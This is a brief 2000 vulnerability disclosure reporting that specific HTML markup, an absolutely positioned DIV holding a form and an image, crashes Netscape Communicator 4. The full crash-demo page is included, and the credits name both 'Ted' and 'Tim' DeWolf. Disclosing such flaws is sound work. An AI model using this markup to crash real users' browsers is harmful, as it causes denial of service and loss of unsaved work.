Simple HTML Crashes Netscape 4

Crashing Netscape Communicator 4
Reported March 15, 2000 by
Ted DeWolf
  • Netscape Communicator 4.0


Simple HTML code can cause Netscape Communicator 4 to crash. While we are still uncertain as to the exact cause of the crash, it would appear that it pertains to an embedded DIV tag that is coded in a particular manner. 


The following code crashes the browser. BEFORE YOU CLICK HERE AT YOUR OWN RISK to load a page that contains this demo code, be sure to save all of your work and close any open applications.


<title>Smash Netscape</title>

<body bgcolor="#000000" text="#ffffff">

<font face="Arial, Helvetica, Geneva">
<font size="5" color="#777777"><b>Smash Netscape</b></font><br>
This page will crash Netscape Communicator 4!

<div id="smashItDiv" style="position: absolute; left: 160px; top: 175px; width: 264px; high: 150px; z-index: 50; visibility: visible;">
<table border="0" cellspacing="0" cellpadding="0" width="264">
<td align="center" valign="middle">

<form name="smashItForm">

<img name="NSCrashImg" src="X.gif" border="0">

<font face="Arial, Helvetica" size="2">Crash Netscape</font><br>
<input name="askjdfh" type="input" size="20" maxlength="100"><br>




Netscape was made aware of this issue via their online bug reporting mechanism, however no response was known at the time of this writing.

Discovered by Tim DeWolf
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